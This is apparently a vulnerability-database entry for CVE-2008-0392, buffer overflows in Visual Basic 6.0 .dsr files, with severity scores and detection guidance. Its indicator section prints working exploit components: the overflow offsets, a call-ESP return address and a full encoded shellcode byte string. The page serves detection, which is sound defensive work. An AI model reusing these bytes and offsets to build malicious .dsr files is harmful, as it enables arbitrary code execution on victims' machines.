CVE-2008-0392

published 2008-01-23

CVE-2008-0392: Multiple buffer overflows in Microsoft Visual Basic Enterprise Edition 6.0 SP6 allow user-assisted remote attackers to execute arbitrary code via a .dsr file…

Priority P3 56 critical 9.3 CVSS 2.0

AV N AC M Au N C C I C A C

EXPLOIT

Multiple buffer overflows in Microsoft Visual Basic Enterprise Edition 6.0 SP6 allow user-assisted remote attackers to execute arbitrary code via a .dsr file with a long (1) ConnectionName or (2) CommandName line.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
microsoft	visual_basic	—	—

Detection & IOCs extracted from sources · hover to see the quote

filename ConnectionName.dsr↗

filename CommandName.dsr↗

bytes↗

EIP return address: \xFF\xBE\x3F\x7E (call ESP from user32.dll)

bytes↗

\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a

• → Detect malicious .dsr files where the ConnectionName field value is abnormally long (>559 characters), indicating a buffer overflow attempt. ↗
• → Detect malicious .dsr files where the CommandName field value is abnormally long (>566 characters), indicating a buffer overflow attempt. ↗
• → Flag .dsr files containing the CLSID {C0E45035-5775-11D0-B388-00A0C9055D8E} with oversized ConnectionName or CommandName property values as potentially malicious. ↗
• → Look for the return address bytes FF BE 3F 7E (call ESP gadget in user32.dll) embedded within .dsr file content as an EIP overwrite indicator. ↗

• · The return address (EIP) \xFF\xBE\x3F\x7E is specific to the user32.dll version shipped with the tested environment; it may differ across patch levels or OS versions. ↗
• · The overflow offsets (559 spaces for ConnectionName, 566 for CommandName) are specific to Microsoft Visual Basic Enterprise Edition 6.0 SP6 and may not apply to other versions. ↗

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